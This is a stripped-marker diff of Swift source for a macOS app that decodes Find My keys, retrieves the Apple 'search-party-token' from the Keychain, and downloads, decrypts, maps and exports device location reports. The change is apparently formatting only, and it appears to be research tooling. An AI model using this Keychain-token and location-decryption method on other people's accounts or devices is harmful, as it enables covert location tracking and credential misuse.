||||
}
|
||||
|
||||
enum ParsingError: Error {
|
||||
case wrongMagicBytes
|
||||
case wrongFormat
|
||||
case unsupportedFormat
|
||||
}
|
||||
enum ParsingError: Error {
|
||||
case wrongMagicBytes
|
||||
case wrongFormat
|
||||
case unsupportedFormat
|
||||
}
|
||||
}
|
||||
|
||||
@@ -9,191 +9,195 @@
|
||||
|
||||
// swiftlint:disable identifier_name
|
||||
|
||||
import Foundation
|
||||
import CoreLocation
|
||||
import Foundation
|
||||
|
||||
struct FindMyDevice: Codable, Hashable {
|
||||
|
||||
let deviceId: String
|
||||
var keys = [FindMyKey]()
|
||||
let deviceId: String
|
||||
var keys = [FindMyKey]()
|
||||
|
||||
var catalinaBigSurKeyFiles: [Data]?
|
||||
var catalinaBigSurKeyFiles: [Data]?
|
||||
|
||||
/// KeyHash: Report results
|
||||
var reports: [FindMyReport]?
|
||||
/// KeyHash: Report results
|
||||
var reports: [FindMyReport]?
|
||||
|
||||
var decryptedReports: [FindMyLocationReport]?
|
||||
var decryptedReports: [FindMyLocationReport]?
|
||||
|
||||
func hash(into hasher: inout Hasher) {
|
||||
hasher.combine(deviceId)
|
||||
}
|
||||
func hash(into hasher: inout Hasher) {
|
||||
hasher.combine(deviceId)
|
||||
}
|
||||
|
||||
static func == (lhs: FindMyDevice, rhs: FindMyDevice) -> Bool {
|
||||
lhs.deviceId == rhs.deviceId
|
||||
}
|
||||
static func == (lhs: FindMyDevice, rhs: FindMyDevice) -> Bool {
|
||||
lhs.deviceId == rhs.deviceId
|
||||
}
|
||||
}
|
||||
|
||||
struct FindMyKey: Codable {
|
||||
internal init(advertisedKey: Data, hashedKey: Data, privateKey: Data, startTime: Date?, duration: Double?, pu: Data?, yCoordinate: Data?, fullKey: Data?) {
|
||||
self.advertisedKey = advertisedKey
|
||||
self.hashedKey = hashedKey
|
||||
// The private key should only be 28 bytes long. If a 85 bytes full private public key is entered we truncate it here
|
||||
if privateKey.count == 85 {
|
||||
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
|
||||
} else {
|
||||
self.privateKey = privateKey
|
||||
}
|
||||
|
||||
self.startTime = startTime
|
||||
self.duration = duration
|
||||
self.pu = pu
|
||||
self.yCoordinate = yCoordinate
|
||||
self.fullKey = fullKey
|
||||
internal init(
|
||||
advertisedKey: Data, hashedKey: Data, privateKey: Data, startTime: Date?, duration: Double?,
|
||||
pu: Data?, yCoordinate: Data?, fullKey: Data?
|
||||
) {
|
||||
self.advertisedKey = advertisedKey
|
||||
self.hashedKey = hashedKey
|
||||
// The private key should only be 28 bytes long. If a 85 bytes full private public key is entered we truncate it here
|
||||
if privateKey.count == 85 {
|
||||
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
|
||||
} else {
|
||||
self.privateKey = privateKey
|
||||
}
|
||||
|
||||
init(from decoder: Decoder) throws {
|
||||
let container = try decoder.container(keyedBy: CodingKeys.self)
|
||||
self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey)
|
||||
self.hashedKey = try container.decode(Data.self, forKey: .hashedKey)
|
||||
let privateKey = try container.decode(Data.self, forKey: .privateKey)
|
||||
if privateKey.count == 85 {
|
||||
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
|
||||
} else {
|
||||
self.privateKey = privateKey
|
||||
}
|
||||
self.startTime = startTime
|
||||
self.duration = duration
|
||||
self.pu = pu
|
||||
self.yCoordinate = yCoordinate
|
||||
self.fullKey = fullKey
|
||||
}
|
||||
|
||||
self.startTime = try? container.decode(Date.self, forKey: .startTime)
|
||||
self.duration = try? container.decode(Double.self, forKey: .duration)
|
||||
self.pu = try? container.decode(Data.self, forKey: .pu)
|
||||
self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate)
|
||||
self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
|
||||
init(from decoder: Decoder) throws {
|
||||
let container = try decoder.container(keyedBy: CodingKeys.self)
|
||||
self.advertisedKey = try container.decode(Data.self, forKey: .advertisedKey)
|
||||
self.hashedKey = try container.decode(Data.self, forKey: .hashedKey)
|
||||
let privateKey = try container.decode(Data.self, forKey: .privateKey)
|
||||
if privateKey.count == 85 {
|
||||
self.privateKey = privateKey.subdata(in: 57..<privateKey.endIndex)
|
||||
} else {
|
||||
self.privateKey = privateKey
|
||||
}
|
||||
|
||||
/// The advertising key
|
||||
let advertisedKey: Data
|
||||
/// Hashed advertisement key using SHA256
|
||||
let hashedKey: Data
|
||||
/// The private key from which the advertisement keys can be derived
|
||||
let privateKey: Data
|
||||
/// When this key was used to send out BLE advertisements
|
||||
let startTime: Date?
|
||||
/// Duration from start time how long the key has been used to send out BLE advertisements
|
||||
let duration: Double?
|
||||
/// ?
|
||||
let pu: Data?
|
||||
self.startTime = try? container.decode(Date.self, forKey: .startTime)
|
||||
self.duration = try? container.decode(Double.self, forKey: .duration)
|
||||
self.pu = try? container.decode(Data.self, forKey: .pu)
|
||||
self.yCoordinate = try? container.decode(Data.self, forKey: .yCoordinate)
|
||||
self.fullKey = try? container.decode(Data.self, forKey: .fullKey)
|
||||
}
|
||||
|
||||
/// As exported from Big Sur
|
||||
let yCoordinate: Data?
|
||||
/// As exported from BigSur
|
||||
let fullKey: Data?
|
||||
/// The advertising key
|
||||
let advertisedKey: Data
|
||||
/// Hashed advertisement key using SHA256
|
||||
let hashedKey: Data
|
||||
/// The private key from which the advertisement keys can be derived
|
||||
let privateKey: Data
|
||||
/// When this key was used to send out BLE advertisements
|
||||
let startTime: Date?
|
||||
/// Duration from start time how long the key has been used to send out BLE advertisements
|
||||
let duration: Double?
|
||||
/// ?
|
||||
let pu: Data?
|
||||
|
||||
/// As exported from Big Sur
|
||||
let yCoordinate: Data?
|
||||
/// As exported from BigSur
|
||||
let fullKey: Data?
|
||||
}
|
||||
|
||||
struct FindMyReportResults: Codable {
|
||||
let results: [FindMyReport]
|
||||
let results: [FindMyReport]
|
||||
}
|
||||
|
||||
struct FindMyReport: Codable {
|
||||
let datePublished: Date
|
||||
let payload: Data
|
||||
let id: String
|
||||
let statusCode: Int
|
||||
let datePublished: Date
|
||||
let payload: Data
|
||||
let id: String
|
||||
let statusCode: Int
|
||||
|
||||
let confidence: UInt8
|
||||
let timestamp: Date
|
||||
let confidence: UInt8
|
||||
let timestamp: Date
|
||||
|
||||
enum CodingKeys: CodingKey {
|
||||
case datePublished
|
||||
case payload
|
||||
case id
|
||||
case statusCode
|
||||
enum CodingKeys: CodingKey {
|
||||
case datePublished
|
||||
case payload
|
||||
case id
|
||||
case statusCode
|
||||
}
|
||||
|
||||
init(from decoder: Decoder) throws {
|
||||
let values = try decoder.container(keyedBy: CodingKeys.self)
|
||||
let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
|
||||
// Convert from milis to time interval
|
||||
let dP = Date(timeIntervalSince1970: dateTimestamp / 1000)
|
||||
let df = DateFormatter()
|
||||
df.dateFormat = "YYYY-MM-dd"
|
||||
|
||||
if dP < df.date(from: "2020-01-01")! {
|
||||
self.datePublished = Date(timeIntervalSince1970: dateTimestamp)
|
||||
} else {
|
||||
self.datePublished = dP
|
||||
}
|
||||
|
||||
init(from decoder: Decoder) throws {
|
||||
let values = try decoder.container(keyedBy: CodingKeys.self)
|
||||
let dateTimestamp = try values.decode(Double.self, forKey: .datePublished)
|
||||
// Convert from milis to time interval
|
||||
let dP = Date(timeIntervalSince1970: dateTimestamp/1000)
|
||||
let df = DateFormatter()
|
||||
df.dateFormat = "YYYY-MM-dd"
|
||||
self.statusCode = try values.decode(Int.self, forKey: .statusCode)
|
||||
let payloadBase64 = try values.decode(String.self, forKey: .payload)
|
||||
|
||||
if dP < df.date(from: "2020-01-01")! {
|
||||
self.datePublished = Date(timeIntervalSince1970: dateTimestamp)
|
||||
} else {
|
||||
self.datePublished = dP
|
||||
}
|
||||
guard let payload = Data(base64Encoded: payloadBase64) else {
|
||||
throw DecodingError.dataCorruptedError(
|
||||
forKey: CodingKeys.payload, in: values, debugDescription: "")
|
||||
}
|
||||
self.payload = payload
|
||||
|
||||
self.statusCode = try values.decode(Int.self, forKey: .statusCode)
|
||||
let payloadBase64 = try values.decode(String.self, forKey: .payload)
|
||||
|
||||
guard let payload = Data(base64Encoded: payloadBase64) else {
|
||||
throw DecodingError.dataCorruptedError(forKey: CodingKeys.payload, in: values, debugDescription: "")
|
||||
}
|
||||
self.payload = payload
|
||||
|
||||
var timestampData = payload.subdata(in: 0..<4)
|
||||
let timestamp: Int32 = withUnsafeBytes(of: ×tampData) { (pointer) -> Int32 in
|
||||
// Convert the endianness
|
||||
pointer.load(as: Int32.self).bigEndian
|
||||
}
|
||||
|
||||
// It's a cocoa time stamp (counting from 2001)
|
||||
self.timestamp = Date(timeIntervalSinceReferenceDate: TimeInterval(timestamp))
|
||||
self.confidence = payload[4]
|
||||
|
||||
self.id = try values.decode(String.self, forKey: .id)
|
||||
var timestampData = payload.subdata(in: 0..<4)
|
||||
let timestamp: Int32 = withUnsafeBytes(of: ×tampData) { (pointer) -> Int32 in
|
||||
// Convert the endianness
|
||||
pointer.load(as: Int32.self).bigEndian
|
||||
}
|
||||
|
||||
func encode(to encoder: Encoder) throws {
|
||||
var container = encoder.container(keyedBy: CodingKeys.self)
|
||||
try container.encode(self.datePublished.timeIntervalSince1970 * 1000, forKey: .datePublished)
|
||||
try container.encode(self.payload.base64EncodedString(), forKey: .payload)
|
||||
try container.encode(self.id, forKey: .id)
|
||||
try container.encode(self.statusCode, forKey: .statusCode)
|
||||
}
|
||||
// It's a cocoa time stamp (counting from 2001)
|
||||
self.timestamp = Date(timeIntervalSinceReferenceDate: TimeInterval(timestamp))
|
||||
self.confidence = payload[4]
|
||||
|
||||
self.id = try values.decode(String.self, forKey: .id)
|
||||
}
|
||||
|
||||
func encode(to encoder: Encoder) throws {
|
||||
var container = encoder.container(keyedBy: CodingKeys.self)
|
||||
try container.encode(self.datePublished.timeIntervalSince1970 * 1000, forKey: .datePublished)
|
||||
try container.encode(self.payload.base64EncodedString(), forKey: .payload)
|
||||
try container.encode(self.id, forKey: .id)
|
||||
try container.encode(self.statusCode, forKey: .statusCode)
|
||||
}
|
||||
}
|
||||
|
||||
struct FindMyLocationReport: Codable {
|
||||
let latitude: Double
|
||||
let longitude: Double
|
||||
let accuracy: UInt8
|
||||
let datePublished: Date
|
||||
let timestamp: Date?
|
||||
let confidence: UInt8?
|
||||
let latitude: Double
|
||||
let longitude: Double
|
||||
let accuracy: UInt8
|
||||
let datePublished: Date
|
||||
let timestamp: Date?
|
||||
let confidence: UInt8?
|
||||
|
||||
var location: CLLocation {
|
||||
return CLLocation(latitude: latitude, longitude: longitude)
|
||||
var location: CLLocation {
|
||||
return CLLocation(latitude: latitude, longitude: longitude)
|
||||
}
|
||||
|
||||
init(lat: Double, lng: Double, acc: UInt8, dP: Date, t: Date, c: UInt8) {
|
||||
self.latitude = lat
|
||||
self.longitude = lng
|
||||
self.accuracy = acc
|
||||
self.datePublished = dP
|
||||
self.timestamp = t
|
||||
self.confidence = c
|
||||
}
|
||||
|
||||
init(from decoder: Decoder) throws {
|
||||
let values = try decoder.container(keyedBy: CodingKeys.self)
|
||||
|
||||
self.latitude = try values.decode(Double.self, forKey: .latitude)
|
||||
self.longitude = try values.decode(Double.self, forKey: .longitude)
|
||||
|
||||
do {
|
||||
let uAcc = try values.decode(UInt8.self, forKey: .accuracy)
|
||||
self.accuracy = uAcc
|
||||
} catch {
|
||||
let iAcc = try values.decode(Int8.self, forKey: .accuracy)
|
||||
self.accuracy = UInt8(bitPattern: iAcc)
|
||||
}
|
||||
|
||||
init(lat: Double, lng: Double, acc: UInt8, dP: Date, t: Date, c: UInt8) {
|
||||
self.latitude = lat
|
||||
self.longitude = lng
|
||||
self.accuracy = acc
|
||||
self.datePublished = dP
|
||||
self.timestamp = t
|
||||
self.confidence = c
|
||||
}
|
||||
|
||||
init(from decoder: Decoder) throws {
|
||||
let values = try decoder.container(keyedBy: CodingKeys.self)
|
||||
|
||||
self.latitude = try values.decode(Double.self, forKey: .latitude)
|
||||
self.longitude = try values.decode(Double.self, forKey: .longitude)
|
||||
|
||||
do {
|
||||
let uAcc = try values.decode(UInt8.self, forKey: .accuracy)
|
||||
self.accuracy = uAcc
|
||||
} catch {
|
||||
let iAcc = try values.decode(Int8.self, forKey: .accuracy)
|
||||
self.accuracy = UInt8(bitPattern: iAcc)
|
||||
}
|
||||
|
||||
self.datePublished = try values.decode(Date.self, forKey: .datePublished)
|
||||
self.timestamp = try? values.decode(Date.self, forKey: .timestamp)
|
||||
self.confidence = try? values.decode(UInt8.self, forKey: .confidence)
|
||||
}
|
||||
self.datePublished = try values.decode(Date.self, forKey: .datePublished)
|
||||
self.timestamp = try? values.decode(Date.self, forKey: .timestamp)
|
||||
self.confidence = try? values.decode(UInt8.self, forKey: .confidence)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
enum FindMyError: Error {
|
||||
case decryptionError(description: String)
|
||||
case decryptionError(description: String)
|
||||
}
|
||||
|
||||
@@ -7,19 +7,19 @@
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import Cocoa
|
||||
import MapKit
|
||||
import SwiftUI
|
||||
|
||||
struct MapView: NSViewControllerRepresentable {
|
||||
@Environment(\.findMyController) var findMyController
|
||||
@Environment(\.findMyController) var findMyController
|
||||
|
||||
func makeNSViewController(context: Context) -> MapViewController {
|
||||
return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
|
||||
}
|
||||
func makeNSViewController(context: Context) -> MapViewController {
|
||||
return MapViewController(nibName: NSNib.Name("MapViewController"), bundle: nil)
|
||||
}
|
||||
|
||||
func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
|
||||
nsViewController.addLocationsReports(from: findMyController.devices)
|
||||
}
|
||||
func updateNSViewController(_ nsViewController: MapViewController, context: Context) {
|
||||
nsViewController.addLocationsReports(from: findMyController.devices)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -11,43 +11,45 @@ import Cocoa
|
||||
import MapKit
|
||||
|
||||
final class MapViewController: NSViewController, MKMapViewDelegate {
|
||||
@IBOutlet weak var mapView: MKMapView!
|
||||
var pinsShown = false
|
||||
@IBOutlet weak var mapView: MKMapView!
|
||||
var pinsShown = false
|
||||
|
||||
override func viewDidLoad() {
|
||||
super.viewDidLoad()
|
||||
self.mapView.delegate = self
|
||||
override func viewDidLoad() {
|
||||
super.viewDidLoad()
|
||||
self.mapView.delegate = self
|
||||
}
|
||||
|
||||
func addLocationsReports(from devices: [FindMyDevice]) {
|
||||
if !self.mapView.annotations.isEmpty {
|
||||
self.mapView.removeAnnotations(self.mapView.annotations)
|
||||
}
|
||||
|
||||
func addLocationsReports(from devices: [FindMyDevice]) {
|
||||
if !self.mapView.annotations.isEmpty {
|
||||
self.mapView.removeAnnotations(self.mapView.annotations)
|
||||
}
|
||||
|
||||
// Zoom to first location
|
||||
if let location = devices.first?.decryptedReports?.first {
|
||||
let coordinate = CLLocationCoordinate2D(latitude: location.latitude, longitude: location.longitude)
|
||||
let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
|
||||
let region = MKCoordinateRegion(center: coordinate, span: span)
|
||||
|
||||
self.mapView.setRegion(region, animated: true)
|
||||
}
|
||||
|
||||
// Add pins
|
||||
for device in devices {
|
||||
|
||||
guard let reports = device.decryptedReports else {continue}
|
||||
for report in reports {
|
||||
let pin = MKPointAnnotation()
|
||||
pin.title = device.deviceId
|
||||
pin.coordinate = CLLocationCoordinate2D(latitude: report.latitude, longitude: report.longitude)
|
||||
self.mapView.addAnnotation(pin)
|
||||
}
|
||||
}
|
||||
// Zoom to first location
|
||||
if let location = devices.first?.decryptedReports?.first {
|
||||
let coordinate = CLLocationCoordinate2D(
|
||||
latitude: location.latitude, longitude: location.longitude)
|
||||
let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
|
||||
let region = MKCoordinateRegion(center: coordinate, span: span)
|
||||
|
||||
self.mapView.setRegion(region, animated: true)
|
||||
}
|
||||
|
||||
func changeMapType(_ mapType: MKMapType) {
|
||||
self.mapView.mapType = mapType
|
||||
// Add pins
|
||||
for device in devices {
|
||||
|
||||
guard let reports = device.decryptedReports else { continue }
|
||||
for report in reports {
|
||||
let pin = MKPointAnnotation()
|
||||
pin.title = device.deviceId
|
||||
pin.coordinate = CLLocationCoordinate2D(
|
||||
latitude: report.latitude, longitude: report.longitude)
|
||||
self.mapView.addAnnotation(pin)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func changeMapType(_ mapType: MKMapType) {
|
||||
self.mapView.mapType = mapType
|
||||
}
|
||||
}
|
||||
|
||||
@@ -11,188 +11,200 @@ import SwiftUI
|
||||
|
||||
struct OFFetchReportsMainView: View {
|
||||
|
||||
@Environment(\.findMyController) var findMyController
|
||||
@Environment(\.findMyController) var findMyController
|
||||
|
||||
@State var targetedDrop: Bool = false
|
||||
@State var error: Error?
|
||||
@State var showMap = false
|
||||
@State var loading = false
|
||||
@State var targetedDrop: Bool = false
|
||||
@State var error: Error?
|
||||
@State var showMap = false
|
||||
@State var loading = false
|
||||
|
||||
@State var searchPartyToken: Data?
|
||||
@State var searchPartyTokenString: String = ""
|
||||
@State var keyPlistFile: Data?
|
||||
@State var searchPartyToken: Data?
|
||||
@State var searchPartyTokenString: String = ""
|
||||
@State var keyPlistFile: Data?
|
||||
|
||||
@State var showTokenPrompt = false
|
||||
@State var showTokenPrompt = false
|
||||
|
||||
var dropView: some View {
|
||||
ZStack(alignment: .center) {
|
||||
HStack {
|
||||
Spacer()
|
||||
Spacer()
|
||||
}
|
||||
var dropView: some View {
|
||||
ZStack(alignment: .center) {
|
||||
HStack {
|
||||
Spacer()
|
||||
Spacer()
|
||||
}
|
||||
|
||||
VStack {
|
||||
Spacer()
|
||||
Text("Drop exported keys here")
|
||||
.font(Font.system(size: 44, weight: .bold, design: .default))
|
||||
.padding()
|
||||
VStack {
|
||||
Spacer()
|
||||
Text("Drop exported keys here")
|
||||
.font(Font.system(size: 44, weight: .bold, design: .default))
|
||||
.padding()
|
||||
|
||||
Text("The keys can be exported into the right format using the Read FindMy Keys App.")
|
||||
.font(.body)
|
||||
.multilineTextAlignment(.center)
|
||||
.padding()
|
||||
Text("The keys can be exported into the right format using the Read FindMy Keys App.")
|
||||
.font(.body)
|
||||
.multilineTextAlignment(.center)
|
||||
.padding()
|
||||
|
||||
Spacer()
|
||||
}
|
||||
}
|
||||
.background(
|
||||
RoundedRectangle(cornerRadius: 20.0)
|
||||
.stroke(Color.gray, style: StrokeStyle(lineWidth: 5.0, lineCap: .round, lineJoin: .round, miterLimit: 10, dash: [15]))
|
||||
)
|
||||
Spacer()
|
||||
}
|
||||
}
|
||||
.background(
|
||||
RoundedRectangle(cornerRadius: 20.0)
|
||||
.stroke(
|
||||
Color.gray,
|
||||
style: StrokeStyle(
|
||||
lineWidth: 5.0, lineCap: .round, lineJoin: .round, miterLimit: 10, dash: [15]))
|
||||
)
|
||||
.padding()
|
||||
.onDrop(of: ["public.file-url"], isTargeted: self.$targetedDrop) { (droppedData) -> Bool in
|
||||
return self.droppedData(data: droppedData)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
var loadingView: some View {
|
||||
VStack {
|
||||
Text("Downloading locations and decrypting...")
|
||||
.font(Font.system(size: 44, weight: .bold, design: .default))
|
||||
.padding()
|
||||
.onDrop(of: ["public.file-url"], isTargeted: self.$targetedDrop) { (droppedData) -> Bool in
|
||||
return self.droppedData(data: droppedData)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
var loadingView: some View {
|
||||
VStack {
|
||||
Text("Downloading locations and decrypting...")
|
||||
.font(Font.system(size: 44, weight: .bold, design: .default))
|
||||
.padding()
|
||||
}
|
||||
}
|
||||
/// This view is shown if the search party token cannot be accessed from keychain
|
||||
var missingSearchPartyTokenView: some View {
|
||||
VStack {
|
||||
Text("Search Party token could not be fetched")
|
||||
Text("Please paste the search party token below after copying it from the macOS Keychain.")
|
||||
Text("The item that contains the key can be found by searching for: ")
|
||||
Text("com.apple.account.DeviceLocator.search-party-token")
|
||||
.font(.system(Font.TextStyle.body, design: Font.Design.monospaced))
|
||||
|
||||
/// This view is shown if the search party token cannot be accessed from keychain
|
||||
var missingSearchPartyTokenView: some View {
|
||||
VStack {
|
||||
Text("Search Party token could not be fetched")
|
||||
Text("Please paste the search party token below after copying it from the macOS Keychain.")
|
||||
Text("The item that contains the key can be found by searching for: ")
|
||||
Text("com.apple.account.DeviceLocator.search-party-token")
|
||||
.font(.system(Font.TextStyle.body, design: Font.Design.monospaced))
|
||||
|
||||
TextField("Search Party Token", text: self.$searchPartyTokenString)
|
||||
|
||||
Button(action: {
|
||||
if !self.searchPartyTokenString.isEmpty,
|
||||
let file = self.keyPlistFile,
|
||||
let searchPartyToken = self.searchPartyTokenString.data(using: .utf8) {
|
||||
self.searchPartyToken = searchPartyToken
|
||||
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
|
||||
}
|
||||
}, label: {
|
||||
Text("Download reports")
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
var mapView: some View {
|
||||
ZStack {
|
||||
MapView()
|
||||
VStack {
|
||||
HStack {
|
||||
Spacer()
|
||||
Button(action: {
|
||||
self.showMap = false
|
||||
self.showTokenPrompt = false
|
||||
}, label: {
|
||||
Text("Import other tokens")
|
||||
})
|
||||
|
||||
Button(action: {
|
||||
self.exportDecryptedLocations()
|
||||
|
||||
}, label: {
|
||||
Text("Export")
|
||||
})
|
||||
|
||||
}
|
||||
.padding()
|
||||
Spacer()
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
var body: some View {
|
||||
GeometryReader { geo in
|
||||
if self.loading {
|
||||
self.loadingView
|
||||
} else if self.showMap {
|
||||
self.mapView
|
||||
} else if self.showTokenPrompt {
|
||||
self.missingSearchPartyTokenView
|
||||
} else {
|
||||
self.dropView
|
||||
.frame(width: geo.size.width, height: geo.size.height)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// swiftlint:disable identifier_name
|
||||
func droppedData(data: [NSItemProvider]) -> Bool {
|
||||
guard let itemProvider = data.first else {return false}
|
||||
|
||||
itemProvider.loadItem(forTypeIdentifier: "public.file-url", options: nil) { (u, _) in
|
||||
guard let urlData = u as? Data,
|
||||
let fileURL = URL(dataRepresentation: urlData, relativeTo: nil),
|
||||
// Only plist supported
|
||||
fileURL.pathExtension == "plist",
|
||||
// Load the file
|
||||
let file = try? Data(contentsOf: fileURL)
|
||||
else {return}
|
||||
|
||||
print("Received data \(fileURL)")
|
||||
|
||||
self.keyPlistFile = file
|
||||
let reportsFetcher = ReportsFetcher()
|
||||
self.searchPartyToken = reportsFetcher.fetchSearchpartyToken()
|
||||
|
||||
if let searchPartyToken = self.searchPartyToken {
|
||||
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
|
||||
} else {
|
||||
self.showTokenPrompt = true
|
||||
}
|
||||
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func downloadAndDecryptLocations(with keyFile: Data, searchPartyToken: Data) {
|
||||
self.loading = true
|
||||
|
||||
self.findMyController.loadPrivateKeys(from: keyFile, with: searchPartyToken, completion: { error in
|
||||
// Check if an error occurred
|
||||
guard error == nil else {
|
||||
self.error = error
|
||||
return
|
||||
}
|
||||
|
||||
// Show map view
|
||||
self.loading = false
|
||||
self.showMap = true
|
||||
TextField("Search Party Token", text: self.$searchPartyTokenString)
|
||||
|
||||
Button(
|
||||
action: {
|
||||
if !self.searchPartyTokenString.isEmpty,
|
||||
let file = self.keyPlistFile,
|
||||
let searchPartyToken = self.searchPartyTokenString.data(using: .utf8)
|
||||
{
|
||||
self.searchPartyToken = searchPartyToken
|
||||
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
|
||||
}
|
||||
},
|
||||
label: {
|
||||
Text("Download reports")
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func exportDecryptedLocations() {
|
||||
do {
|
||||
let devices = self.findMyController.devices
|
||||
let deviceData = try PropertyListEncoder().encode(devices)
|
||||
var mapView: some View {
|
||||
ZStack {
|
||||
MapView()
|
||||
VStack {
|
||||
HStack {
|
||||
Spacer()
|
||||
Button(
|
||||
action: {
|
||||
self.showMap = false
|
||||
self.showTokenPrompt = false
|
||||
},
|
||||
label: {
|
||||
Text("Import other tokens")
|
||||
})
|
||||
|
||||
SavePanel().saveFile(file: deviceData, fileExtension: "plist")
|
||||
Button(
|
||||
action: {
|
||||
self.exportDecryptedLocations()
|
||||
|
||||
},
|
||||
label: {
|
||||
Text("Export")
|
||||
})
|
||||
|
||||
} catch {
|
||||
print("Error: \(error)")
|
||||
}
|
||||
.padding()
|
||||
Spacer()
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
var body: some View {
|
||||
GeometryReader { geo in
|
||||
if self.loading {
|
||||
self.loadingView
|
||||
} else if self.showMap {
|
||||
self.mapView
|
||||
} else if self.showTokenPrompt {
|
||||
self.missingSearchPartyTokenView
|
||||
} else {
|
||||
self.dropView
|
||||
.frame(width: geo.size.width, height: geo.size.height)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// swiftlint:disable identifier_name
|
||||
func droppedData(data: [NSItemProvider]) -> Bool {
|
||||
guard let itemProvider = data.first else { return false }
|
||||
|
||||
itemProvider.loadItem(forTypeIdentifier: "public.file-url", options: nil) { (u, _) in
|
||||
guard let urlData = u as? Data,
|
||||
let fileURL = URL(dataRepresentation: urlData, relativeTo: nil),
|
||||
// Only plist supported
|
||||
fileURL.pathExtension == "plist",
|
||||
// Load the file
|
||||
let file = try? Data(contentsOf: fileURL)
|
||||
else { return }
|
||||
|
||||
print("Received data \(fileURL)")
|
||||
|
||||
self.keyPlistFile = file
|
||||
let reportsFetcher = ReportsFetcher()
|
||||
self.searchPartyToken = reportsFetcher.fetchSearchpartyToken()
|
||||
|
||||
if let searchPartyToken = self.searchPartyToken {
|
||||
self.downloadAndDecryptLocations(with: file, searchPartyToken: searchPartyToken)
|
||||
} else {
|
||||
self.showTokenPrompt = true
|
||||
}
|
||||
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func downloadAndDecryptLocations(with keyFile: Data, searchPartyToken: Data) {
|
||||
self.loading = true
|
||||
|
||||
self.findMyController.loadPrivateKeys(
|
||||
from: keyFile, with: searchPartyToken,
|
||||
completion: { error in
|
||||
// Check if an error occurred
|
||||
guard error == nil else {
|
||||
self.error = error
|
||||
return
|
||||
}
|
||||
|
||||
// Show map view
|
||||
self.loading = false
|
||||
self.showMap = true
|
||||
|
||||
})
|
||||
}
|
||||
|
||||
func exportDecryptedLocations() {
|
||||
do {
|
||||
let devices = self.findMyController.devices
|
||||
let deviceData = try PropertyListEncoder().encode(devices)
|
||||
|
||||
SavePanel().saveFile(file: deviceData, fileExtension: "plist")
|
||||
|
||||
} catch {
|
||||
print("Error: \(error)")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct ContentView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
OFFetchReportsMainView()
|
||||
}
|
||||
static var previews: some View {
|
||||
OFFetchReportsMainView()
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,43 +7,44 @@
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import AppKit
|
||||
import Foundation
|
||||
|
||||
class SavePanel: NSObject, NSOpenSavePanelDelegate {
|
||||
|
||||
static let shared = SavePanel()
|
||||
static let shared = SavePanel()
|
||||
|
||||
var fileToSave: Data?
|
||||
var fileExtension: String?
|
||||
var panel: NSSavePanel?
|
||||
var fileToSave: Data?
|
||||
var fileExtension: String?
|
||||
var panel: NSSavePanel?
|
||||
|
||||
func saveFile(file: Data, fileExtension: String) {
|
||||
self.fileToSave = file
|
||||
self.fileExtension = fileExtension
|
||||
func saveFile(file: Data, fileExtension: String) {
|
||||
self.fileToSave = file
|
||||
self.fileExtension = fileExtension
|
||||
|
||||
self.panel = NSSavePanel()
|
||||
self.panel?.delegate = self
|
||||
self.panel?.title = "Export Find My Locations"
|
||||
self.panel?.prompt = "Export"
|
||||
self.panel?.nameFieldLabel = "Find My Locations"
|
||||
self.panel?.nameFieldStringValue = "findMyLocations.plist"
|
||||
self.panel?.allowedFileTypes = ["plist"]
|
||||
self.panel = NSSavePanel()
|
||||
self.panel?.delegate = self
|
||||
self.panel?.title = "Export Find My Locations"
|
||||
self.panel?.prompt = "Export"
|
||||
self.panel?.nameFieldLabel = "Find My Locations"
|
||||
self.panel?.nameFieldStringValue = "findMyLocations.plist"
|
||||
self.panel?.allowedFileTypes = ["plist"]
|
||||
|
||||
let result = self.panel?.runModal()
|
||||
|
||||
if result == NSApplication.ModalResponse.OK {
|
||||
// Save file
|
||||
let fileURL = self.panel?.url
|
||||
try! self.fileToSave?.write(to: fileURL!)
|
||||
}
|
||||
let result = self.panel?.runModal()
|
||||
|
||||
if result == NSApplication.ModalResponse.OK {
|
||||
// Save file
|
||||
let fileURL = self.panel?.url
|
||||
try! self.fileToSave?.write(to: fileURL!)
|
||||
}
|
||||
|
||||
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String? {
|
||||
guard okFlag else {return nil}
|
||||
}
|
||||
|
||||
return filename
|
||||
}
|
||||
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String?
|
||||
{
|
||||
guard okFlag else { return nil }
|
||||
|
||||
return filename
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
